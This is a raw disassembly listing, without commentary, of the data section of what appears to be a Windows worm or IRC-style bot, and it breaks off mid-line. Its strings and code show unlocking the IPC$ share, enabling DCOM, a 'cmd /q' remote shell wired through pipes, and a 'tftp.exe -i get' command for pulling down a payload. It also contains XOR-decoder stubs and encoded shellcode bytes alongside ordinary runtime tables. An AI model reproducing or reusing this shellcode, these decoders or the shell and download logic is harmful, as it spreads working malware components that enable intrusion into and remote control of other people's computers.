1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aUnrestrictedAc db ' Unrestricted access to the IPC$ Share.',0 unk_433820 db 2 ; DATA XREF: sub_4162AC+102o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToUnrest db ' Failed to unrestrict access to the IPC$ Share.',0 dword_43386C dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h ; DATA XREF: sub_4162AC:loc_416319o dd 2202967h, 2002BBBBh, 4F434420h, 6E65204Dh, 656C6261h dd 2E64h unk_433898 db 2 ; DATA XREF: sub_4162AC+66o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aEnableDcomFail db ' Enable DCOM failed.',0 align 4 word_4338CC dw 59h ; DATA XREF: sub_4162AC+38r align 10h dword_4338D0 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4165C6+DEo dd 2029671Fh, 2BBBB02h aWaitformultipl db ' WaitForMultipleObjects error: <%d>.',0 align 4 dword_433914 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4165C6+59o ; sub_4165C6+8Bo dd 2029671Fh, 2BBBB02h aFailedToCrea_0 db ' Failed to create ReadShell session thread, error: <%d>.',0 align 4 dword_43396C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416717+AFo dd 2029671Fh, 2BBBB02h aFailedToExecut db ' Failed to execute shell.',0 align 4 dword_4339A4 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416717+7Eo dd 2029671Fh, 2BBBB02h aFailedToCrea_1 db ' Failed to create shell stdin pipe, error: <%d>.',0 align 4 dword_4339F4 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416717+5Co dd 2029671Fh, 2BBBB02h aFailedToCrea_2 db ' Failed to create shell stdout pipe, error: <%d>.',0 align 4 dword_433A44 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416810+C3o dd 2029671Fh, 2BBBB02h aFailedToExec_0 db ' Failed to execute shell, error: <%d>.',0 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_416810+8Co align 10h dword_433A90 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4168E9+A1o dd 2029671Fh, 2BBBB02h aSessionreadshe db ' SessionReadShellThread exited, error: <%ld>.',0 align 4 loc_433ADC: ; DATA XREF: sub_416C55+C4o jmp short loc_433AE0 ; --------------------------------------------------------------------------- loc_433ADE: ; CODE XREF: ___:loc_433AE0p jmp short loc_433AE5 ; --------------------------------------------------------------------------- loc_433AE0: ; CODE XREF: ___:loc_433ADCj call loc_433ADE loc_433AE5: ; CODE XREF: ___:loc_433ADEj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_433AEA dw 0FFFFh ; DATA XREF: sub_416C55+CCw db 80h, 73h, 0Eh byte_433AEF db 0FFh ; DATA XREF: sub_416C55+D3w dd 0F9E243h ; --------------------------------------------------------------------------- loc_433AF4: ; DATA XREF: sub_416C55+A2o jmp short loc_433AF8 ; --------------------------------------------------------------------------- loc_433AF6: ; CODE XREF: ___:loc_433AF8p jmp short loc_433AFD ; --------------------------------------------------------------------------- loc_433AF8: ; CODE XREF: ___:loc_433AF4j call loc_433AF6 loc_433AFD: ; CODE XREF: ___:loc_433AF6j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_433B01 db 0FFh ; DATA XREF: sub_416C55+AAw dw 7380h db 0Ch byte_433B05 db 0FFh ; DATA XREF: sub_416C55+B0w dw 0E243h dd 0F9h dword_433B0C dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_416ADE+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_433B70 dd 12h ; DATA XREF: sub_416ADE+3Dw aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_416ADE+79o aJ db 'j',0 db 0E8h dword_433B89 dd 17h ; DATA XREF: sub_416ADE+4Dw ; --------------------------------------------------------------------------- jnz short near ptr byte_433B90 retn ; --------------------------------------------------------------------------- byte_433B90 db 0E8h ; CODE XREF: ___:00433B8Dj dword_433B91 dd 1 ; DATA XREF: sub_416ADE+45w byte_433B95 db 0, 6Ah, 0 ; DATA XREF: sub_416ADE+C2o dd 7E8h db 0, 0Fh, 84h dword_433B9F dd 0FFFFFFEDh ; DATA XREF: sub_416ADE+5Dw ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 10h aThreadList db '-[Thread List]-',0 aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_416FEA+51o aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_416FEA+35o dword_433C20 dd 29E2C0h ; DATA XREF: sub_417302+4w sub_41730Cr ... align 10h dword_433C30 dd 173Fh ; DATA XREF: sub_417CA4+Dr dd 9875h, 9873h off_433C3C dd offset sub_417D73 ; DATA XREF: ___:00419AB8r dd offset nullsub_2 dd offset nullsub_2 dword_433C48 dd 1B3Fh ; DATA XREF: sub_417DEB+Dr dword_433C4C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41826D+2o ; sub_418276+2o off_433C60 dd offset sub_419AF6 ; DATA XREF: sub_419CDA+1Cr dword_433C64 dd 2 ; DATA XREF: sub_41F84C+Er ; sub_41F885+46r ... off_433C68 dd offset aNull_0 ; DATA XREF: sub_419E38:loc_41A19Cr ; sub_419E38+457r ; "(null)" off_433C6C dd offset aNull ; DATA XREF: sub_419E38+259r ; "(null)" off_433C70 dd offset word_433C7A ; DATA XREF: sub_417794+23r ; sub_417794:loc_4177F5r ... off_433C74 dd offset word_433C7A ; DATA XREF: sub_422EB1+18r db 2 dup(0) word_433C7A dw 20h ; DATA XREF: sub_42102E+18r ; ___:off_433C70o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_433E7C dd 1 ; DATA XREF: sub_417794:loc_41779Cr ; sub_417794:loc_4177E0r ... byte_433E80 db 2Eh ; DATA XREF: sub_41C86F:loc_41C8AFr ; sub_41C8C9+4r ... align 4 dd 1, 10h, 0 off_433E90 dd offset off_433E90 ; DATA XREF: sub_41B888+Do ; sub_41B888+69o ... off_433E94 dd offset off_433E90 ; DATA XREF: sub_41B888:loc_41B908r ; sub_41B888+89w ... dd offset dword_433EA8 dd offset dword_433EA8 dword_433EA0 dd 0FFFFFFFFh ; DATA XREF: sub_41B888r ; sub_41B9CC:loc_41BA19w dd 0FFFFFFFFh dword_433EA8 dd 0F0h, 0F1h, 4E6h dup(0) ; DATA XREF: ___:00433E98o ; ___:00433E9Co db 0 byte_435249 db 3 dup(0) ; DATA XREF: ___:off_4274DCo dd 319h dup(0) off_435EB0 dd offset off_433E90 ; DATA XREF: sub_41B9CC+15r ; sub_41B9CC+20w ... dword_435EB4 dd 1E0h ; DATA XREF: sub_417BC7:loc_417C03r ; sub_41944F+185r ... dword_435EB8 dd 14h ; DATA XREF: sub_41C5B8+2o off_435EBC dd offset aExp ; DATA XREF: sub_41C5B8:loc_41C5D5r ; "exp" dd 1Dh, 42480Ch, 1Ah, 424808h, 1Bh, 424800h, 1Fh, 4247F8h dd 13h, 4247F0h, 21h, 4247E8h, 0Eh, 4247E0h, 0Dh, 4247D8h dd 0Fh, 4247D0h, 10h, 4247C8h, 5, 4247C0h, 1Eh, 4247BCh dd 12h, 4247B8h, 20h, 4247B4h, 0Ch, 4247ACh, 0Bh, 4247A4h dd 15h, 42479Ch, 1Ch, 424794h, 19h, 42478Ch, 11h, 424784h dd 18h, 42477Ch, 16h, 424774h, 17h, 42476Ch, 22h, 424768h dd 23h, 424764h, 24h, 424760h dbl_435F90 dq 1.797693134862316e308 ; DATA XREF: sub_41C2F3+B7r ; sub_41C2F3:loc_41C3DAr ... dd 0 dd 0FFF80000h dbl_435FA0 dq 1.797693134862316e308 ; DATA XREF: sub_41C2F3+92r ; sub_41C2F3:loc_41C3B2r ... dd 0 dd 100000h, 0 dd 80000000h tbyte_435FB8 dt 2.3562723457267347066e313 ; DATA XREF: sub_41C7A0+Dr ; sub_41C7A0+1Fr align 4 tbyte_435FC4 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41C7A0+31r align 10h off_435FD0 dd offset sub_41CC34 ; DATA XREF: sub_417D8B+Fw ; sub_419E38+3AAr off_435FD4 dd offset sub_41C8C9 ; DATA XREF: sub_417D8B+5w ; sub_419E38+3E2r off_435FD8 dd offset sub_41C92F ; DATA XREF: sub_417D8B+14w ; sub_41D797+430r off_435FDC dd offset sub_41C86F ; DATA XREF: sub_417D8B+1Ew ; sub_419E38+3CBr off_435FE0 dd offset sub_41C917 ; DATA XREF: sub_417D8B+28w off_435FE4 dd offset sub_41CC34 ; DATA XREF: sub_417D8B+32w dd offset sub_42086E align 10h dd offset sub_41D4FC off_435FF4 dd offset sub_41D4FC ; DATA XREF: sub_41D552+29r dword_435FF8 dd 0D2D0920h, 5Dh ; DATA XREF: sub_41D797:loc_41DCFEo dword_436000 dd 5Dh, 0 ; DATA XREF: sub_41D797:loc_41DBEEo byte_436008 db 1 ; DATA XREF: sub_41E92D+E1r db 2, 4, 8 align 10h dword_436010 dd 3A4h ; DATA XREF: sub_41E92D+2Fo dword_436014 dd 82798260h, 21h, 0 ; DATA XREF: sub_41E92D+11Dr dword_436020 dd 0DFA6h ; DATA XREF: sub_41E92D+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_436100 dd 1 ; DATA XREF: sub_41E92D+3Co ; sub_41EF44+Co dword_436104 dd 16h ; DATA XREF: sub_41EF44:loc_41EF79r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_436268 dd 0C0000005h ; DATA XREF: sub_41EF44+19o ; sub_41F0EC+Ar ... dword_43626C dd 0Bh ; DATA XREF: sub_421D69+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_4362E0 dd 3 ; DATA XREF: ___:0041F003r ; sub_421C3C+C8r dword_4362E4 dd 7 ; DATA XREF: ___:0041F009r ; sub_421C3C+CDr dword_4362E8 dd 0Ah ; DATA XREF: sub_41F0EC+4r ; sub_421D69+4r dword_4362EC dd 8Ch ; DATA XREF: ___:0041F02Dr ; ___:0041F03Aw ... dword_4362F0 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_419D23:loc_419DE0o ; sub_41E248:loc_41E2C9o dword_4362F8 dd 2 ; DATA XREF: sub_41F885+Eo ; sub_41F885+28r off_4362FC dd offset aR6002FloatingP ; DATA XREF: sub_41F885+FCr ; sub_41F885+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 424B2Ch, 9, 424B00h, 0Ah, 424ADCh, 10h, 424AB0h dd 11h, 424A80h, 12h, 424A5Ch, 13h, 424A30h, 18h, 4249F8h dd 19h, 4249D0h, 1Ah, 424998h, 1Bh, 424960h, 1Ch, 424938h dd 78h, 424928h, 79h, 424918h, 7Ah, 424908h, 0FCh, 42A3B0h dd 0FFh, 4248F8h off_436388 dd offset dword_4CDCC0 ; DATA XREF: sub_41F885+1Bo ; sub_41FA42+55o align 10h dd offset dword_4CDCC0 dd 101h dword_436398 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41FA42+72o dd 1000h, 0 dword_4363A8 dd 3 dup(0) ; DATA XREF: sub_419D23+50o ; sub_41A8A2+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_4363C8 dd 3 dup(0) ; DATA XREF: sub_419D23+58o ; sub_41A8A2:loc_41A8C0o dd 2, 0FFFFFFFFh, 7 dup(0) dword_4363F8 dd 84h dup(0) ; DATA XREF: sub_41FA42+9Bo dword_436608 dd 2694h ; DATA XREF: sub_41BF55+3r ; sub_41BFA8+46r ... align 10h dword_436610 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_42064Eo dword_436628 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_420664o dword_436640 dd 7080h ; DATA XREF: sub_41D609+76r ; sub_42094E+5Ew ... dword_436644 dd 1 ; DATA XREF: sub_41D609+98r ; sub_42094E+8Bw ... dword_436648 dd 0FFFFF1F0h ; DATA XREF: sub_41D609:loc_41D6BBr ; sub_42094E+94w ... off_43664C dd offset loc_54534F+1 ; DATA XREF: ___:off_4366CCo dd 0Fh dup(0) off_43668C dd offset off_544450 ; DATA XREF: ___:off_4366D0o dd 0Fh dup(0) off_4366CC dd offset off_43664C ; DATA XREF: sub_42094E+BAr ; sub_42094E+D9r ... off_4366D0 dd offset off_43668C ; DATA XREF: sub_42094E+F4r ; sub_42094E+11Br ... align 8 dword_4366D8 dd 0FFFFFFFFh ; DATA XREF: sub_42094E+1Dw ; sub_420BAC+1Er ... dword_4366DC dd 0 ; DATA XREF: sub_420BAC:loc_420CE0r ; sub_420D58+BFw dword_4366E0 dd 0 ; DATA XREF: sub_420BAC+192r ; sub_420D58+E0w align 8 dword_4366E8 dd 0FFFFFFFFh ; DATA XREF: sub_42094E+17w ; sub_420BAC+26r ... dword_4366EC dd 0 ; DATA XREF: sub_420BAC+13Ar ; sub_420D58+EAw ... dword_4366F0 dd 0 ; DATA XREF: sub_420BAC+1A1r ; sub_420D58+23r ... dword_4366F4 dd 0FFFFFFFFh ; DATA XREF: sub_420D58+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_436724 dd 16Dh ; DATA XREF: sub_41D609+2Ar ; sub_420D58+2Er ... dword_436728 dd 0FFFFFFFFh ; DATA XREF: sub_420D58:loc_420DE4r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_436760 dd 2 dup(0) ; DATA XREF: sub_4220C1+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_4368C0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_4220C1+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_436A1C dd offset off_424D00 ; DATA XREF: ___:00424EDCo ; ___:00424FC8o dd 0 a_?avexception@ db '.?AVexception@@',0 off_436A34 dd offset off_424D00 ; DATA XREF: ___:off_424D90o ; ___:00424DD0o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_436A54 dd offset off_424D00 ; DATA XREF: ___:off_424DD8o ; ___:00424E1Co ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_436A74 dd offset off_424D00 ; DATA XREF: ___:off_424E24o ; ___:00424E68o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 8 off_436A98 dd offset off_424D00 ; DATA XREF: ___:off_424E70o ; ___:00424EACo align 10h a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42086E align 8 byte_436AB8 db 0 ; DATA XREF: sub_40144A+1D3w ; sub_40144A+2D2o align 2 word_436ABA dw 0 ; DATA XREF: sub_40144A+1E3w word_436ABC dw 0 ; DATA XREF: sub_40144A+1E9w word_436ABE dw 0 ; DATA XREF: sub_40144A+1F0w byte_436AC0 db 0 ; DATA XREF: sub_40144A+1F7w byte_436AC1 db 0 ; DATA XREF: sub_40144A+1FEw word_436AC2 dw 0 ; DATA XREF: sub_40144A+204w dword_436AC4 dd 0 ; DATA XREF: sub_40144A+234w ; sub_40144A+250w dword_436AC8 dd 0 ; DATA XREF: sub_40144A+258w byte_436ACC db 0 ; DATA XREF: sub_40144A+26Aw byte_436ACD db 0 ; DATA XREF: sub_40144A+27Dw word_436ACE dw 0 ; DATA XREF: sub_40144A+295w word_436AD0 dw 0 ; DATA XREF: sub_40144A+2A4w word_436AD2 dw 0 ; DATA XREF: sub_40144A+29Cw dword_436AD4 dd 101h dup(0) ; DATA XREF: sub_40144A+2B9o dword_436ED8 dd 0 ; DATA XREF: sub_4029E9+9Eo byte_436EDC db 0 ; DATA XREF: sub_4029E9+36r ; sub_402ACC+37r ... align 10h dword_436EE0 dd 0 ; DATA XREF: sub_4030D1+10w ; sub_4030E8+30r ... dd 2 dup(0) dword_436EEC dd 2 dup(0) ; DATA XREF: sub_403EBA+68o dword_436EF4 dd 0 ; DATA XREF: sub_40395A+13o ; sub_40EE72+610Do ... dword_436EF8 dd 0 ; DATA XREF: sub_404853+8w ; ___:00404C22o align 10h dword_436F00 dd 2 dup(0) ; DATA XREF: ___:00404B58o dword_436F08 dd 0 ; DATA XREF: sub_4059DB+2Aw ; sub_4059DB+51r ... dword_436F0C dd 0 ; DATA XREF: sub_4030E8+AEr ; ___:004042D4r ... dd 2 dup(0) dword_436F18 dd 0 ; DATA XREF: sub_4071DB+18r ; sub_40762E+92w ... dword_436F1C dd 0 ; DATA XREF: sub_407767+4Dr ; sub_40797F+D9w ... dd 7FEh dup(0) dword_438F18 dd 6 dup(0) ; DATA XREF: sub_407767+D2o ; sub_407767+13Bo ... dword_438F30 dd 0 ; DATA XREF: sub_407252+82w ; sub_407252+102o dword_438F34 dd 41h dup(0) ; DATA XREF: sub_407252+41o dword_439038 dd 41h dup(0) ; DATA XREF: sub_407252+63o dword_43913C dd 0 ; DATA XREF: sub_407252+F8w ; sub_407252+114r dword_439140 dd 0 ; DATA XREF: sub_407252+52w dword_439144 dd 0 ; DATA XREF: sub_407252+4Dw ; sub_407252+CFr dword_439148 dd 20h dup(0) ; DATA XREF: sub_407252+9Ao ; sub_407252+BAo dword_4391C8 dd 0 ; DATA XREF: sub_407252+8Fw dword_4391CC dd 0 ; DATA XREF: sub_407252+A7w ; sub_407252+C7w dword_4391D0 dd 0 ; DATA XREF: sub_407252:loc_40737Cr align 8 dword_4391D8 dd 0 ; DATA XREF: sub_407252+2D5w ; sub_407252+32Eo dword_4391DC dd 0A2h dup(0) ; DATA XREF: sub_407252+2C3o dword_439464 dd 41h dup(0) ; DATA XREF: sub_407252+28Do dword_439568 dd 0 ; DATA XREF: sub_407252+2BAw ; sub_407252+2E1r align 10h dword_439570 dd 0 ; DATA XREF: sub_407252+324w ; sub_407252+340r dword_439574 dd 0 ; DATA XREF: sub_407252+2E7w dword_439578 dd 0 ; DATA XREF: sub_407252+2F4w dword_43957C dd 0 ; DATA XREF: sub_407252+2B4w dd 0 dword_439584 dd 0 ; DATA XREF: sub_407252:loc_4075A8r dword_439588 dd 0 ; DATA XREF: sub_407252+1A1w ; sub_407252+221o dword_43958C dd 41h dup(0) ; DATA XREF: sub_407252+163o dword_439690 dd 41h dup(0) ; DATA XREF: sub_407252+182o dword_439794 dd 0 ; DATA XREF: sub_407252+217w ; sub_407252+233r dword_439798 dd 0 ; DATA XREF: sub_407252+171w dword_43979C dd 0 ; DATA XREF: sub_407252+1EEr dword_4397A0 dd 20h dup(0) ; DATA XREF: sub_407252+1B9o ; sub_407252+1D9o dword_439820 dd 0 ; DATA XREF: sub_407252+1AEw dword_439824 dd 0 ; DATA XREF: sub_407252+1C6w ; sub_407252+1E6w dword_439828 dd 0 ; DATA XREF: sub_407252:loc_40749Cr align 10h dword_439830 dd 0 ; DATA XREF: sub_4087EE+Fr ; sub_4089E7+12r align 8 dword_439838 dd 80h dup(0) ; DATA XREF: sub_409706+41o dword_439A38 dd 200h dup(0) ; DATA XREF: sub_409037+C7o ; sub_409392+DDo ... dword_43A238 dd 200h dup(0) ; DATA XREF: sub_409037+D6o ; sub_409392+F4o ... dword_43AA38 dd 0 ; DATA XREF: sub_409037+86w ; sub_409209+94r dword_43AA3C dd 0 ; DATA XREF: sub_409037+A7w ; sub_40966F+55r ... dword_43AA40 dd 0 ; DATA XREF: sub_409037+A0w ; sub_409209+D6r ... dword_43AA44 dd 0 ; DATA XREF: sub_409037+79w ; sub_409209+35r ... dword_43AA48 dd 80h dup(0) ; DATA XREF: sub_40966F+5Eo dword_43AC48 dd 0 ; DATA XREF: sub_409037+93w ; sub_409209+A2r align 10h dword_43AC50 dd 0 ; DATA XREF: sub_409037+E7o ; sub_409037+103r ... dword_43AC54 dd 0 ; DATA XREF: sub_409392+17Bw ; sub_409539+107w dword_43AC58 dd 0 ; DATA XREF: sub_409392+180w ; sub_409539+10Dw ... dword_43AC5C dd 0 ; DATA XREF: sub_409392+159w ; sub_40966F+4Fr dword_43AC60 dd 0 ; DATA XREF: sub_4085B3+210r ; sub_4085B3+21Ar ... dword_43AC64 dd 0 ; DATA XREF: sub_40981F+65w ; sub_41518A+F5r dword_43AC68 dd 0 ; DATA XREF: sub_40981F+7EDw ; sub_40981F+862r ... dword_43AC6C dd 0 ; DATA XREF: sub_40981F+9BAw ; sub_40981F+A18r ... dword_43AC70 dd 0 ; DATA XREF: sub_40981F+96Cw ; sub_40981F+9E8r ... dword_43AC74 dd 0 ; DATA XREF: sub_4085B3+D1r ; sub_40981F+46Fw ... dword_43AC78 dd 0 ; DATA XREF: sub_4023A7+ECr ; sub_4023A7+109r ... dword_43AC7C dd 0 ; DATA XREF: sub_40981F+9ADw ; sub_40981F+A10r ... dword_43AC80 dd 0 ; DATA XREF: sub_40981F+354w ; sub_40981F+3A9r ... dword_43AC84 dd 0 ; DATA XREF: sub_40981F+3F1w ; sub_40B8D8+11Er dword_43AC88 dd 0 ; DATA XREF: sub_40981F+361w ; sub_40981F+3B1r ... dword_43AC8C dd 0 ; DATA XREF: sub_40981F+3A2w ; sub_40DCE6+ADr dword_43AC90 dd 0 ; DATA XREF: sub_405AF2+115r ; sub_4084B3+7Dr ... dword_43AC94 dd 0 ; DATA XREF: sub_40981F+72w ; sub_40981F+D2r ... dword_43AC98 dd 0 ; DATA XREF: sub_40981F+95Fw ; sub_40981F+9DBr ... dword_43AC9C dd 0 ; DATA XREF: sub_40981F+388w ; sub_40981F+3C9r ... dword_43ACA0 dd 0 ; DATA XREF: sub_40981F+83Bw ; sub_40981F+88Er ... dword_43ACA4 dd 0 ; DATA XREF: sub_408C26+58r ; sub_40981F+2A5w ... dword_43ACA8 dd 0 ; DATA XREF: sub_40981F+82Ew ; sub_40981F+886r ... dword_43ACAC dd 0 ; DATA XREF: sub_40981F+B3w dword_43ACB0 dd 0 ; DATA XREF: sub_40981F+848w ; sub_40981F+896r ... dword_43ACB4 dd 0 ; DATA XREF: sub_407BDE+7Er ; sub_40981F+52Fw ... dword_43ACB8 dd 0 ; DATA XREF: sub_40981F+58w ; sub_40981F+CAr ... dword_43ACBC dd 0 ; DATA XREF: sub_40981F+916w ; sub_40AF86+11Ar dword_43ACC0 dd 0 ; DATA XREF: sub_40981F+A66w ; sub_40981F+A6Dr ... dword_43ACC4 dd 0 ; DATA XREF: sub_40981F+A6w ; sub_40981F+F2r dword_43ACC8 dd 0 ; DATA XREF: sub_4085B3+119r ; sub_40981F+462w ... dword_43ACCC dd 0 ; DATA XREF: sub_4075E6+20r ; sub_40981F+5D8w dword_43ACD0 dd 0 ; DATA XREF: sub_40981F+9A0w ; sub_40981F+A08r dword_43ACD4 dd 0 ; DATA XREF: sub_402688+280r ; sub_40981F+5CBw ... dword_43ACD8 dd 0 ; DATA XREF: sub_402ACC+9Ar ; sub_40981F+B21w dword_43ACDC dd 0 ; DATA XREF: sub_40981F+7E0w ; sub_40981F+84Fr ... dword_43ACE0 dd 0 ; DATA XREF: sub_40981F+1B3w ; sub_40AC20+15r dword_43ACE4 dd 0 ; DATA XREF: sub_40981F+979w ; sub_40981F+9F0r ... dword_43ACE8 dd 0 ; DATA XREF: sub_40981F+36Ew ; sub_40981F+3B9r ... dword_43ACEC dd 0 ; DATA XREF: sub_40981F+37Bw ; sub_40981F+3C1r ... dword_43ACF0 dd 0 ; DATA XREF: 